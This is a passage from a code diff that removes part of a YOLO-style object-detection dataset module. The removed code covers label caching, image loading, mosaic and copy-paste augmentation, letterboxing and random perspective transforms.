-                assert im.format.lower() in img_formats, f'invalid image format {im.format}'
-
-                # verify labels
-                if os.path.isfile(lb_file):
-                    nf += 1  # label found
-                    with open(lb_file, 'r') as f:
-                        l = [x.split() for x in f.read().strip().splitlines()]
-                        if any([len(x) > 8 for x in l]):  # is segment
-                            classes = np.array([x[0] for x in l], dtype=np.float32)
-                            segments = [np.array(x[1:], dtype=np.float32).reshape(-1, 2) for x in l]  # (cls, xy1...)
-                            l = np.concatenate((classes.reshape(-1, 1), segments2boxes(segments)), 1)  # (cls, xywh)
-                        l = np.array(l, dtype=np.float32)
-                    if len(l):
-                        assert l.shape[1] == 5, 'labels require 5 columns each'
-                        assert (l >= 0).all(), 'negative labels'
-                        assert (l[:, 1:] <= 1).all(), 'non-normalized or out of bounds coordinate labels'
-                        assert np.unique(l, axis=0).shape[0] == l.shape[0], 'duplicate labels'
-                    else:
-                        ne += 1  # label empty
-                        l = np.zeros((0, 5), dtype=np.float32)
-                else:
-                    nm += 1  # label missing
-                    l = np.zeros((0, 5), dtype=np.float32)
-                x[im_file] = [l, shape, segments]
-            except Exception as e:
-                nc += 1
-                print(f'{prefix}WARNING: Ignoring corrupted image and/or label {im_file}: {e}')
-
-            pbar.desc = f"{prefix}Scanning '{path.parent / path.stem}' images and labels... " \
-                        f"{nf} found, {nm} missing, {ne} empty, {nc} corrupted"
-        pbar.close()
-
-        if nf == 0:
-            print(f'{prefix}WARNING: No labels found in {path}. See {help_url}')
-
-        x['hash'] = get_hash(self.label_files + self.img_files)
-        x['results'] = nf, nm, ne, nc, i + 1
-        x['version'] = 0.1  # cache version
-        torch.save(x, path)  # save for next time
-        logging.info(f'{prefix}New cache created: {path}')
-        return x
-
-    def __len__(self):
-        return len(self.img_files)
-
-    # def __iter__(self):
-    #     self.count = -1
-    #     print('ran dataset iter')
-    #     #self.shuffled_vector = np.random.permutation(self.nF) if self.augment else np.arange(self.nF)
-    #     return self
-
-    def __getitem__(self, index):
-        index = self.indices[index]  # linear, shuffled, or image_weights
-
-        hyp = self.hyp
-        mosaic = self.mosaic and random.random() < hyp['mosaic']
-        if mosaic:
-            # Load mosaic
-            if random.random() < 0.8:
-                img, labels = load_mosaic(self, index)
-            else:
-                img, labels = load_mosaic9(self, index)
-            shapes = None
-
-            # MixUp https://arxiv.org/pdf/1710.09412.pdf
-            if random.random() < hyp['mixup']:
-                if random.random() < 0.8:
-                    img2, labels2 = load_mosaic(self, random.randint(0, len(self.labels) - 1))
-                else:
-                    img2, labels2 = load_mosaic9(self, random.randint(0, len(self.labels) - 1))
-                r = np.random.beta(8.0, 8.0)  # mixup ratio, alpha=beta=8.0
-                img = (img * r + img2 * (1 - r)).astype(np.uint8)
-                labels = np.concatenate((labels, labels2), 0)
-
-        else:
-            # Load image
-            img, (h0, w0), (h, w) = load_image(self, index)
-
-            # Letterbox
-            shape = self.batch_shapes[self.batch[index]] if self.rect else self.img_size  # final letterboxed shape
-            img, ratio, pad = letterbox(img, shape, auto=False, scaleup=self.augment)
-            shapes = (h0, w0), ((h / h0, w / w0), pad)  # for COCO mAP rescaling
-
-            labels = self.labels[index].copy()
-            if labels.size:  # normalized xywh to pixel xyxy format
-                labels[:, 1:] = xywhn2xyxy(labels[:, 1:], ratio[0] * w, ratio[1] * h, padw=pad[0], padh=pad[1])
-
-        if self.augment:
-            # Augment imagespace
-            if not mosaic:
-                img, labels = random_perspective(img, labels,
-                                                 degrees=hyp['degrees'],
-                                                 translate=hyp['translate'],
-                                                 scale=hyp['scale'],
-                                                 shear=hyp['shear'],
-                                                 perspective=hyp['perspective'])
-            
-            
-            #img, labels = self.albumentations(img, labels)
-
-            # Augment colorspace
-            augment_hsv(img, hgain=hyp['hsv_h'], sgain=hyp['hsv_s'], vgain=hyp['hsv_v'])
-
-            # Apply cutouts
-            # if random.random() < 0.9:
-            #     labels = cutout(img, labels)
-            
-            if random.random() < hyp['paste_in']:
-                sample_labels, sample_images, sample_masks = [], [], [] 
-                while len(sample_labels) < 30:
-                    sample_labels_, sample_images_, sample_masks_ = load_samples(self, random.randint(0, len(self.labels) - 1))
-                    sample_labels += sample_labels_
-                    sample_images += sample_images_
-                    sample_masks += sample_masks_
-                    #print(len(sample_labels))
-                    if len(sample_labels) == 0:
-                        break
-                labels = pastein(img, labels, sample_labels, sample_images, sample_masks)
-
-        nL = len(labels)  # number of labels
-        if nL:
-            labels[:, 1:5] = xyxy2xywh(labels[:, 1:5])  # convert xyxy to xywh
-            labels[:, [2, 4]] /= img.shape[0]  # normalized height 0-1
-            labels[:, [1, 3]] /= img.shape[1]  # normalized width 0-1
-
-        if self.augment:
-            # flip up-down
-            if random.random() < hyp['flipud']:
-                img = np.flipud(img)
-                if nL:
-                    labels[:, 2] = 1 - labels[:, 2]
-
-            # flip left-right
-            if random.random() < hyp['fliplr']:
-                img = np.fliplr(img)
-                if nL:
-                    labels[:, 1] = 1 - labels[:, 1]
-
-        labels_out = torch.zeros((nL, 6))
-        if nL:
-            labels_out[:, 1:] = torch.from_numpy(labels)
-
-        # Convert
-        img = img[:, :, ::-1].transpose(2, 0, 1)  # BGR to RGB, to 3x416x416
-        img = np.ascontiguousarray(img)
-
-        return torch.from_numpy(img), labels_out, self.img_files[index], shapes
-
-    @staticmethod
-    def collate_fn(batch):
-        img, label, path, shapes = zip(*batch)  # transposed
-        for i, l in enumerate(label):
-            l[:, 0] = i  # add target image index for build_targets()
-        return torch.stack(img, 0), torch.cat(label, 0), path, shapes
-
-    @staticmethod
-    def collate_fn4(batch):
-        img, label, path, shapes = zip(*batch)  # transposed
-        n = len(shapes) // 4
-        img4, label4, path4, shapes4 = [], [], path[:n], shapes[:n]
-
-        ho = torch.tensor([[0., 0, 0, 1, 0, 0]])
-        wo = torch.tensor([[0., 0, 1, 0, 0, 0]])
-        s = torch.tensor([[1, 1, .5, .5, .5, .5]])  # scale
-        for i in range(n):  # zidane torch.zeros(16,3,720,1280)  # BCHW
-            i *= 4
-            if random.random() < 0.5:
-                im = F.interpolate(img[i].unsqueeze(0).float(), scale_factor=2., mode='bilinear', align_corners=False)[
-                    0].type(img[i].type())
-                l = label[i]
-            else:
-                im = torch.cat((torch.cat((img[i], img[i + 1]), 1), torch.cat((img[i + 2], img[i + 3]), 1)), 2)
-                l = torch.cat((label[i], label[i + 1] + ho, label[i + 2] + wo, label[i + 3] + ho + wo), 0) * s
-            img4.append(im)
-            label4.append(l)
-
-        for i, l in enumerate(label4):
-            l[:, 0] = i  # add target image index for build_targets()
-
-        return torch.stack(img4, 0), torch.cat(label4, 0), path4, shapes4
-
-
-# Ancillary functions --------------------------------------------------------------------------------------------------
-def load_image(self, index):
-    # loads 1 image from dataset, returns img, original hw, resized hw
-    img = self.imgs[index]
-    if img is None:  # not cached
-        path = self.img_files[index]
-        img = cv2.imread(path)  # BGR
-        assert img is not None, 'Image Not Found ' + path
-        h0, w0 = img.shape[:2]  # orig hw
-        r = self.img_size / max(h0, w0)  # resize image to img_size
-        if r != 1:  # always resize down, only resize up if training with augmentation
-            interp = cv2.INTER_AREA if r < 1 and not self.augment else cv2.INTER_LINEAR
-            img = cv2.resize(img, (int(w0 * r), int(h0 * r)), interpolation=interp)
-        return img, (h0, w0), img.shape[:2]  # img, hw_original, hw_resized
-    else:
-        return self.imgs[index], self.img_hw0[index], self.img_hw[index]  # img, hw_original, hw_resized
-
-
-def augment_hsv(img, hgain=0.5, sgain=0.5, vgain=0.5):
-    r = np.random.uniform(-1, 1, 3) * [hgain, sgain, vgain] + 1  # random gains
-    hue, sat, val = cv2.split(cv2.cvtColor(img, cv2.COLOR_BGR2HSV))
-    dtype = img.dtype  # uint8
-
-    x = np.arange(0, 256, dtype=np.int16)
-    lut_hue = ((x * r[0]) % 180).astype(dtype)
-    lut_sat = np.clip(x * r[1], 0, 255).astype(dtype)
-    lut_val = np.clip(x * r[2], 0, 255).astype(dtype)
-
-    img_hsv = cv2.merge((cv2.LUT(hue, lut_hue), cv2.LUT(sat, lut_sat), cv2.LUT(val, lut_val))).astype(dtype)
-    cv2.cvtColor(img_hsv, cv2.COLOR_HSV2BGR, dst=img)  # no return needed
-
-
-def hist_equalize(img, clahe=True, bgr=False):
-    # Equalize histogram on BGR image 'img' with img.shape(n,m,3) and range 0-255
-    yuv = cv2.cvtColor(img, cv2.COLOR_BGR2YUV if bgr else cv2.COLOR_RGB2YUV)
-    if clahe:
-        c = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8, 8))
-        yuv[:, :, 0] = c.apply(yuv[:, :, 0])
-    else:
-        yuv[:, :, 0] = cv2.equalizeHist(yuv[:, :, 0])  # equalize Y channel histogram
-    return cv2.cvtColor(yuv, cv2.COLOR_YUV2BGR if bgr else cv2.COLOR_YUV2RGB)  # convert YUV image to RGB
-
-
-def load_mosaic(self, index):
-    # loads images in a 4-mosaic
-
-    labels4, segments4 = [], []
-    s = self.img_size
-    yc, xc = [int(random.uniform(-x, 2 * s + x)) for x in self.mosaic_border]  # mosaic center x, y
-    indices = [index] + random.choices(self.indices, k=3)  # 3 additional image indices
-    for i, index in enumerate(indices):
-        # Load image
-        img, _, (h, w) = load_image(self, index)
-
-        # place img in img4
-        if i == 0:  # top left
-            img4 = np.full((s * 2, s * 2, img.shape[2]), 114, dtype=np.uint8)  # base image with 4 tiles
-            x1a, y1a, x2a, y2a = max(xc - w, 0), max(yc - h, 0), xc, yc  # xmin, ymin, xmax, ymax (large image)
-            x1b, y1b, x2b, y2b = w - (x2a - x1a), h - (y2a - y1a), w, h  # xmin, ymin, xmax, ymax (small image)
-        elif i == 1:  # top right
-            x1a, y1a, x2a, y2a = xc, max(yc - h, 0), min(xc + w, s * 2), yc
-            x1b, y1b, x2b, y2b = 0, h - (y2a - y1a), min(w, x2a - x1a), h
-        elif i == 2:  # bottom left
-            x1a, y1a, x2a, y2a = max(xc - w, 0), yc, xc, min(s * 2, yc + h)
-            x1b, y1b, x2b, y2b = w - (x2a - x1a), 0, w, min(y2a - y1a, h)
-        elif i == 3:  # bottom right
-            x1a, y1a, x2a, y2a = xc, yc, min(xc + w, s * 2), min(s * 2, yc + h)
-            x1b, y1b, x2b, y2b = 0, 0, min(w, x2a - x1a), min(y2a - y1a, h)
-
-        img4[y1a:y2a, x1a:x2a] = img[y1b:y2b, x1b:x2b]  # img4[ymin:ymax, xmin:xmax]
-        padw = x1a - x1b
-        padh = y1a - y1b
-
-        # Labels
-        labels, segments = self.labels[index].copy(), self.segments[index].copy()
-        if labels.size:
-            labels[:, 1:] = xywhn2xyxy(labels[:, 1:], w, h, padw, padh)  # normalized xywh to pixel xyxy format
-            segments = [xyn2xy(x, w, h, padw, padh) for x in segments]
-        labels4.append(labels)
-        segments4.extend(segments)
-
-    # Concat/clip labels
-    labels4 = np.concatenate(labels4, 0)
-    for x in (labels4[:, 1:], *segments4):
-        np.clip(x, 0, 2 * s, out=x)  # clip when using random_perspective()
-    # img4, labels4 = replicate(img4, labels4)  # replicate
-
-    # Augment
-    #img4, labels4, segments4 = remove_background(img4, labels4, segments4)
-    #sample_segments(img4, labels4, segments4, probability=self.hyp['copy_paste'])
-    img4, labels4, segments4 = copy_paste(img4, labels4, segments4, probability=self.hyp['copy_paste'])
-    img4, labels4 = random_perspective(img4, labels4, segments4,
-                                       degrees=self.hyp['degrees'],
-                                       translate=self.hyp['translate'],
-                                       scale=self.hyp['scale'],
-                                       shear=self.hyp['shear'],
-                                       perspective=self.hyp['perspective'],
-                                       border=self.mosaic_border)  # border to remove
-
-    return img4, labels4
-
-
-def load_mosaic9(self, index):
-    # loads images in a 9-mosaic
-
-    labels9, segments9 = [], []
-    s = self.img_size
-    indices = [index] + random.choices(self.indices, k=8)  # 8 additional image indices
-    for i, index in enumerate(indices):
-        # Load image
-        img, _, (h, w) = load_image(self, index)
-
-        # place img in img9
-        if i == 0:  # center
-            img9 = np.full((s * 3, s * 3, img.shape[2]), 114, dtype=np.uint8)  # base image with 4 tiles
-            h0, w0 = h, w
-            c = s, s, s + w, s + h  # xmin, ymin, xmax, ymax (base) coordinates
-        elif i == 1:  # top
-            c = s, s - h, s + w, s
-        elif i == 2:  # top right
-            c = s + wp, s - h, s + wp + w, s
-        elif i == 3:  # right
-            c = s + w0, s, s + w0 + w, s + h
-        elif i == 4:  # bottom right
-            c = s + w0, s + hp, s + w0 + w, s + hp + h
-        elif i == 5:  # bottom
-            c = s + w0 - w, s + h0, s + w0, s + h0 + h
-        elif i == 6:  # bottom left
-            c = s + w0 - wp - w, s + h0, s + w0 - wp, s + h0 + h
-        elif i == 7:  # left
-            c = s - w, s + h0 - h, s, s + h0
-        elif i == 8:  # top left
-            c = s - w, s + h0 - hp - h, s, s + h0 - hp
-
-        padx, pady = c[:2]
-        x1, y1, x2, y2 = [max(x, 0) for x in c]  # allocate coords
-
-        # Labels
-        labels, segments = self.labels[index].copy(), self.segments[index].copy()
-        if labels.size:
-            labels[:, 1:] = xywhn2xyxy(labels[:, 1:], w, h, padx, pady)  # normalized xywh to pixel xyxy format
-            segments = [xyn2xy(x, w, h, padx, pady) for x in segments]
-        labels9.append(labels)
-        segments9.extend(segments)
-
-        # Image
-        img9[y1:y2, x1:x2] = img[y1 - pady:, x1 - padx:]  # img9[ymin:ymax, xmin:xmax]
-        hp, wp = h, w  # height, width previous
-
-    # Offset
-    yc, xc = [int(random.uniform(0, s)) for _ in self.mosaic_border]  # mosaic center x, y
-    img9 = img9[yc:yc + 2 * s, xc:xc + 2 * s]
-
-    # Concat/clip labels
-    labels9 = np.concatenate(labels9, 0)
-    labels9[:, [1, 3]] -= xc
-    labels9[:, [2, 4]] -= yc
-    c = np.array([xc, yc])  # centers
-    segments9 = [x - c for x in segments9]
-
-    for x in (labels9[:, 1:], *segments9):
-        np.clip(x, 0, 2 * s, out=x)  # clip when using random_perspective()
-    # img9, labels9 = replicate(img9, labels9)  # replicate
-
-    # Augment
-    #img9, labels9, segments9 = remove_background(img9, labels9, segments9)
-    img9, labels9, segments9 = copy_paste(img9, labels9, segments9, probability=self.hyp['copy_paste'])
-    img9, labels9 = random_perspective(img9, labels9, segments9,
-                                       degrees=self.hyp['degrees'],
-                                       translate=self.hyp['translate'],
-                                       scale=self.hyp['scale'],
-                                       shear=self.hyp['shear'],
-                                       perspective=self.hyp['perspective'],
-                                       border=self.mosaic_border)  # border to remove
-
-    return img9, labels9
-
-
-def load_samples(self, index):
-    # loads images in a 4-mosaic
-
-    labels4, segments4 = [], []
-    s = self.img_size
-    yc, xc = [int(random.uniform(-x, 2 * s + x)) for x in self.mosaic_border]  # mosaic center x, y
-    indices = [index] + random.choices(self.indices, k=3)  # 3 additional image indices
-    for i, index in enumerate(indices):
-        # Load image
-        img, _, (h, w) = load_image(self, index)
-
-        # place img in img4
-        if i == 0:  # top left
-            img4 = np.full((s * 2, s * 2, img.shape[2]), 114, dtype=np.uint8)  # base image with 4 tiles
-            x1a, y1a, x2a, y2a = max(xc - w, 0), max(yc - h, 0), xc, yc  # xmin, ymin, xmax, ymax (large image)
-            x1b, y1b, x2b, y2b = w - (x2a - x1a), h - (y2a - y1a), w, h  # xmin, ymin, xmax, ymax (small image)
-        elif i == 1:  # top right
-            x1a, y1a, x2a, y2a = xc, max(yc - h, 0), min(xc + w, s * 2), yc
-            x1b, y1b, x2b, y2b = 0, h - (y2a - y1a), min(w, x2a - x1a), h
-        elif i == 2:  # bottom left
-            x1a, y1a, x2a, y2a = max(xc - w, 0), yc, xc, min(s * 2, yc + h)
-            x1b, y1b, x2b, y2b = w - (x2a - x1a), 0, w, min(y2a - y1a, h)
-        elif i == 3:  # bottom right
-            x1a, y1a, x2a, y2a = xc, yc, min(xc + w, s * 2), min(s * 2, yc + h)
-            x1b, y1b, x2b, y2b = 0, 0, min(w, x2a - x1a), min(y2a - y1a, h)
-
-        img4[y1a:y2a, x1a:x2a] = img[y1b:y2b, x1b:x2b]  # img4[ymin:ymax, xmin:xmax]
-        padw = x1a - x1b
-        padh = y1a - y1b
-
-        # Labels
-        labels, segments = self.labels[index].copy(), self.segments[index].copy()
-        if labels.size:
-            labels[:, 1:] = xywhn2xyxy(labels[:, 1:], w, h, padw, padh)  # normalized xywh to pixel xyxy format
-            segments = [xyn2xy(x, w, h, padw, padh) for x in segments]
-        labels4.append(labels)
-        segments4.extend(segments)
-
-    # Concat/clip labels
-    labels4 = np.concatenate(labels4, 0)
-    for x in (labels4[:, 1:], *segments4):
-        np.clip(x, 0, 2 * s, out=x)  # clip when using random_perspective()
-    # img4, labels4 = replicate(img4, labels4)  # replicate
-
-    # Augment
-    #img4, labels4, segments4 = remove_background(img4, labels4, segments4)
-    sample_labels, sample_images, sample_masks = sample_segments(img4, labels4, segments4, probability=0.5)
-
-    return sample_labels, sample_images, sample_masks
-
-
-def copy_paste(img, labels, segments, probability=0.5):
-    # Implement Copy-Paste augmentation https://arxiv.org/abs/2012.07177, labels as nx5 np.array(cls, xyxy)
-    n = len(segments)
-    if probability and n:
-        h, w, c = img.shape  # height, width, channels
-        im_new = np.zeros(img.shape, np.uint8)
-        for j in random.sample(range(n), k=round(probability * n)):
-            l, s = labels[j], segments[j]
-            box = w - l[3], l[2], w - l[1], l[4]
-            ioa = bbox_ioa(box, labels[:, 1:5])  # intersection over area
-            if (ioa < 0.30).all():  # allow 30% obscuration of existing labels
-                labels = np.concatenate((labels, [[l[0], *box]]), 0)
-                segments.append(np.concatenate((w - s[:, 0:1], s[:, 1:2]), 1))
-                cv2.drawContours(im_new, [segments[j].astype(np.int32)], -1, (255, 255, 255), cv2.FILLED)
-
-        result = cv2.bitwise_and(src1=img, src2=im_new)
-        result = cv2.flip(result, 1)  # augment segments (flip left-right)
-        i = result > 0  # pixels to replace
-        # i[:, :] = result.max(2).reshape(h, w, 1)  # act over ch
-        img[i] = result[i]  # cv2.imwrite('debug.jpg', img)  # debug
-
-    return img, labels, segments
-
-
-def remove_background(img, labels, segments):
-    # Implement Copy-Paste augmentation https://arxiv.org/abs/2012.07177, labels as nx5 np.array(cls, xyxy)
-    n = len(segments)
-    h, w, c = img.shape  # height, width, channels
-    im_new = np.zeros(img.shape, np.uint8)
-    img_new = np.ones(img.shape, np.uint8) * 114
-    for j in range(n):
-        cv2.drawContours(im_new, [segments[j].astype(np.int32)], -1, (255, 255, 255), cv2.FILLED)
-
-        result = cv2.bitwise_and(src1=img, src2=im_new)
-        
-        i = result > 0  # pixels to replace
-        img_new[i] = result[i]  # cv2.imwrite('debug.jpg', img)  # debug
-
-    return img_new, labels, segments
-
-
-def sample_segments(img, labels, segments, probability=0.5):
-    # Implement Copy-Paste augmentation https://arxiv.org/abs/2012.07177, labels as nx5 np.array(cls, xyxy)
-    n = len(segments)
-    sample_labels = []
-    sample_images = []
-    sample_masks = []
-    if probability and n:
-        h, w, c = img.shape  # height, width, channels
-        for j in random.sample(range(n), k=round(probability * n)):
-            l, s = labels[j], segments[j]
-            box = l[1].astype(int).clip(0,w-1), l[2].astype(int).clip(0,h-1), l[3].astype(int).clip(0,w-1), l[4].astype(int).clip(0,h-1) 
-            
-            #print(box)
-            if (box[2] <= box[0]) or (box[3] <= box[1]):
-                continue
-            
-            sample_labels.append(l[0])
-            
-            mask = np.zeros(img.shape, np.uint8)
-            
-            cv2.drawContours(mask, [segments[j].astype(np.int32)], -1, (255, 255, 255), cv2.FILLED)
-            sample_masks.append(mask[box[1]:box[3],box[0]:box[2],:])
-            
-            result = cv2.bitwise_and(src1=img, src2=mask)
-            i = result > 0  # pixels to replace
-            mask[i] = result[i]  # cv2.imwrite('debug.jpg', img)  # debug
-            #print(box)
-            sample_images.append(mask[box[1]:box[3],box[0]:box[2],:])
-
-    return sample_labels, sample_images, sample_masks
-
-
-def replicate(img, labels):
-    # Replicate labels
-    h, w = img.shape[:2]
-    boxes = labels[:, 1:].astype(int)
-    x1, y1, x2, y2 = boxes.T
-    s = ((x2 - x1) + (y2 - y1)) / 2  # side length (pixels)
-    for i in s.argsort()[:round(s.size * 0.5)]:  # smallest indices
-        x1b, y1b, x2b, y2b = boxes[i]
-        bh, bw = y2b - y1b, x2b - x1b
-        yc, xc = int(random.uniform(0, h - bh)), int(random.uniform(0, w - bw))  # offset x, y
-        x1a, y1a, x2a, y2a = [xc, yc, xc + bw, yc + bh]
-        img[y1a:y2a, x1a:x2a] = img[y1b:y2b, x1b:x2b]  # img4[ymin:ymax, xmin:xmax]
-        labels = np.append(labels, [[labels[i, 0], x1a, y1a, x2a, y2a]], axis=0)
-
-    return img, labels
-
-
-def letterbox(img, new_shape=(640, 640), color=(114, 114, 114), auto=True, scaleFill=False, scaleup=True, stride=32):
-    # Resize and pad image while meeting stride-multiple constraints
-    shape = img.shape[:2]  # current shape [height, width]
-    if isinstance(new_shape, int):
-        new_shape = (new_shape, new_shape)
-
-    # Scale ratio (new / old)
-    r = min(new_shape[0] / shape[0], new_shape[1] / shape[1])
-    if not scaleup:  # only scale down, do not scale up (for better test mAP)
-        r = min(r, 1.0)
-
-    # Compute padding
-    ratio = r, r  # width, height ratios
-    new_unpad = int(round(shape[1] * r)), int(round(shape[0] * r))
-    dw, dh = new_shape[1] - new_unpad[0], new_shape[0] - new_unpad[1]  # wh padding
-    if auto:  # minimum rectangle
-        dw, dh = np.mod(dw, stride), np.mod(dh, stride)  # wh padding
-    elif scaleFill:  # stretch
-        dw, dh = 0.0, 0.0
-        new_unpad = (new_shape[1], new_shape[0])
-        ratio = new_shape[1] / shape[1], new_shape[0] / shape[0]  # width, height ratios
-
-    dw /= 2  # divide padding into 2 sides
-    dh /= 2
-
-    if shape[::-1] != new_unpad:  # resize
-        img = cv2.resize(img, new_unpad, interpolation=cv2.INTER_LINEAR)
-    top, bottom = int(round(dh - 0.1)), int(round(dh + 0.1))
-    left, right = int(round(dw - 0.1)), int(round(dw + 0.1))
-    img = cv2.copyMakeBorder(img, top, bottom, left, right, cv2.BORDER_CONSTANT, value=color)  # add border
-    return img, ratio, (dw, dh)
-
-
-def random_perspective(img, targets=(), segments=(), degrees=10, translate=.1, scale=.1, shear=10, perspective=0.0,
-                       border=(0, 0)):
-    # torchvision.transforms.RandomAffine(degrees=(-10, 10), translate=(.1, .1), scale=(.9, 1.1), shear=(-10, 10))
-    # targets = [cls, xyxy]
-
-    height = img.shape[0] + border[0] * 2  # shape(h,w,c)
-    width = img.shape[1] + border[1] * 2
-
-    # Center
-    C = np.eye(3)
-    C[0, 2] = -img.shape[1] / 2  # x translation (pixels)
-    C[1, 2] = -img.shape[0] / 2  # y translation (pixels)
-
-    # Perspective
-    P = np.eye(3)
-    P[2, 0] = random.uniform(-perspective, perspective)  # x perspective (about y)
-    P[2, 1] = random.uniform(-perspective, perspective)  # y perspective (about x)
-
-    # Rotation and Scale
-    R = np.eye(3)
-    a = random.uniform(-degrees, degrees)
-    # a += random.choice([-180, -90, 0, 90])  # add 90deg rotations to small rotations
-    s = random.uniform(1 - scale, 1.1 + scale)
-    # s = 2 ** random.uniform(-scale, scale)
-    R[:2] = cv2.getRotationMatrix2D(angle=a, center=(0, 0), scale=s)
-
-    # Shear
-    S = np.eye(3)
-    S[0, 1] = math.tan(random.uniform(-shear, shear) * math.pi / 180)  # x shear (deg)
-    S[1, 0] = math.tan(random.uniform(-shear, shear) * math.pi / 180)  # y shear (deg)
-
-    # Translation
-    T = np.eye(3)
-    T[0, 2] = random.uniform(0.5 - translate, 0.5 + translate) * width  # x translation (pixels)
-    T[1, 2] = random.uniform(0.5 - translate, 0.5 + translate) * height  # y translation (pixels)
-
-    # Combined rotation matrix
-    M = T @ S @ R @ P @ C  # order of operations (right to left) is IMPORTANT
-    if (border[0] != 0) or (border[1] != 0) or (M != np.eye(3)).any():  # image changed
-        if perspective:
-            img = cv2.warpPerspective(img, M, dsize=(width, height), borderValue=(114, 114, 114))
-        else:  # affine
-            img = cv2.warpAffine(img, M[:2], dsize=(width, height), borderValue=(114, 114, 114))
-
-    # Visualize
-    # import matplotlib.pyplot as plt
-    # ax = plt.subplots(1, 2, figsize=(12, 6))[1].ravel()
-    # ax[0].imshow(img[:, :, ::-1])  # base
-    # ax[1].imshow(img2[:, :, ::-1])  # warped
-
-    # Transform label coordinates
-    n = len(targets)
-    if n:
-        use_segments = any(x.any() for x in segments)
-        new = np.zeros((n, 4))
-        if use_segments:  # warp segments
-            segments = resample_segments(segments)  # upsample
-            for i, segment in enumerate(segments):
-                xy = np.ones((len(segment), 3))
-                xy[:, :2] = segment
-                xy = xy @ M.T  # transform
-                xy = xy[:, :2] / xy[:, 2:3] if perspective else xy[:, :2]  # perspective rescale or affine
-
-                # clip
-                new[i] = segment2box(xy, width, height)
-
-        else:  # warp boxes
-            xy = np.ones((n * 4, 3))
-            xy[:, :2] = targets[:, [1, 2, 3, 4, 1, 4, 3, 2]].reshape(n * 4, 2)  # x1y1, x2y2, x1y2, x2y1
-            xy = xy @ M.T  # transform
-            xy = (xy[:, :2] / xy[:, 2:3] if perspective else xy[:, :2]).reshape(n, 8)  # perspective rescale or affine
-
-            # create new boxes
-            x = xy[:, [0, 2, 4, 6]]
-            y = xy[:, [1, 3, 5, 7]]
-            new = np.concatenate((x.min(1), y.min(1), x.max(1), y.max(1))).reshape(4, n).T
-
-            # clip
-            new[:, [0, 2]] = new[:, [0, 2]].clip(0, width)
-            new[:, [1, 3]] = new[:, [1, 3]].clip(0, height)
-
-        # filter candidates
-        i = box_candidates(box1=targets[:, 1:5].T * s, box2=new.T, area_thr=0.01 if use_segments else 0.10)
-        targets = targets[i]
-        targets[:, 1:5] = new[i]
-
-    return img, targets
-
-
-def box_candidates(box1, box2, wh_thr=2, ar_thr=20, area_thr=0.1, eps=1e-16):  # box1(4,n), box2(4,n)
-    # Compute candidate boxes: box1 before augment, box2 after augment, wh_thr (pixels), aspect_ratio_thr, area_ratio
-    w1, h1 = box1[2] - box1[0], box1[3] - box1[1]
-    w2, h2 = box2[2] - box2[0], box2[3] - box2[1]
-    ar = np.maximum(w2 / (h2 + eps), h2 / (w2 + eps))  # aspect ratio
-    return (w2 > wh_thr) & (h2 > wh_thr) & (w2 * h2 / (w1 * h1 + eps) > area_thr) & (ar < ar_thr)  # candidates
-
-
-def bbox_ioa(box1, box2):
-    # Returns the intersection over box2 area given box1, box2. box1 is 4, box2 is nx4. boxes are x1y1x2y2
-    box2 = box2.transpose()
-
-    # Get the coordinates of bounding boxes
-    b1_x1, b1_y1, b1_x2, b1_y2 = box1[0], box1[1], box1[2], box1[3]
-    b2_x1, b2_y1, b2_x2, b2_y2 = box2[0], box2[1], box2[2], box2[3]
-
-    # Intersection area
-    inter_area = (np.minimum(b1_x2, b2_x2) - np.maximum(b1_x1, b2_x1)).clip(0) * \
-                 (np.minimum(b1_y2, b2_y2) - np.maximum(b1_y1, b2_y1)).clip(0)
-
-    # box2 area
-    box2_area = (b2_x2 - b2_x1) * (b2_y2 - b2_y1) + 1e-16
-
-    # Intersection over box2 area
-    return inter_area / box2_area
-    
-
-def cutout(image, labels):
-    # Applies image cutout augmentation https://arxiv.org/abs/1708.04552
-    h, w = image.shape[:2]
-
-    # create random masks
-    scales = [0.5] * 1 + [0.25] * 2 + [0.125] * 4 + [0.0625] * 8 + [0.03125] * 16  # image size fraction
-    for s in scales:
-        mask_h = random.randint(1, int(h * s))
-        mask_w = random.randint(1, int(w * s))
-
-        # box
-        xmin = max(0, random.randint(0, w) - mask_w // 2)
-        ymin = max(0, random.randint(0, h) - mask_h // 2)
-        xmax = min(w, xmin + mask_w)
-        ymax = min(h, ymin + mask_h)
-
-        # apply random color mask
-        image[ymin:ymax, xmin:xmax] = [random.randint(64, 191) for _ in range(3)]
-
-        # return unobscured labels
-        if len(labels) and s > 0.03:
-            box = np.array([xmin, ymin, xmax, ymax], dtype=np.float32)
-            ioa = bbox_ioa(box, labels[:, 1:5])  # intersection over area
-            labels = labels[ioa < 0.60]  # remove >60% obscured labels
-
-    return labels
-    
-
-def pastein(image, labels, sample_labels, sample_images, sample_masks):
-    # Applies image cutout augmentation https://arxiv.org/abs/1708.04552
-    h, w = image.shape[:2]
-
-    # create random masks
-    scales = [0.75] * 2 + [0.5] * 4 + [0.25] * 4 + [0.125] * 4 + [0.0625] * 6  # image size fraction
-    for s in scales:
-        if random.random() < 0.2:
-            continue
-        mask_h = random.randint(1, int(h * s))
-        mask_w = random.randint(1, int(w * s))
-
-        # box
-        xmin = max(0, random.randint(0, w) - mask_w // 2)
-        ymin = max(0, random.randint(0, h) - mask_h // 2)
-        xmax = min(w, xmin + mask_w)
-        ymax = min(h, ymin + mask_h)   
-        
-        box = np.array([xmin, ymin, xmax, ymax], dtype=np.float32)
-        if len(labels):
-            ioa = bbox_ioa(box, labels[:, 1:5])  # intersection over area     
-        else:
-            ioa = np.zeros(1)
-        
-        if (ioa < 0.30).all() and len(sample_labels) and (xmax > xmin+20) and (ymax > ymin+20):  # allow 30% obscuration of existing labels
-            sel_ind = random.randint(0, len(sample_labels)-1)
-            #print(len(sample_labels))
-            #print(sel_ind)
-            #print((xmax-xmin, ymax-ymin))
-            #print(image[ymin:ymax, xmin:xmax].shape)
-            #print([[sample_labels[sel_ind], *box]])
-            #print(labels.shape)
-            hs, ws, cs = sample_images[sel_ind].shape
-            r_scale = min((ymax-ymin)/hs, (xmax-xmin)/ws)
-            r_w = int(ws*r_scale)
-            r_h = int(hs*r_scale)
-            
-            if (r_w > 10) and (r_h > 10):
-                r_mask = cv2.resize(sample_masks[sel_ind], (r_w, r_h))
-                r_image = cv2.resize(sample_images[sel_ind], (r_w, r_h))
-                temp_crop = image[ymin:ymin+r_h, xmin:xmin+r_w]
-                m_ind = r_mask > 0
-                if m_ind.astype(np.int).sum() > 60:
-                    temp_crop[m_ind] = r_image[m_ind]
-                    #print(sample_labels[sel_ind])
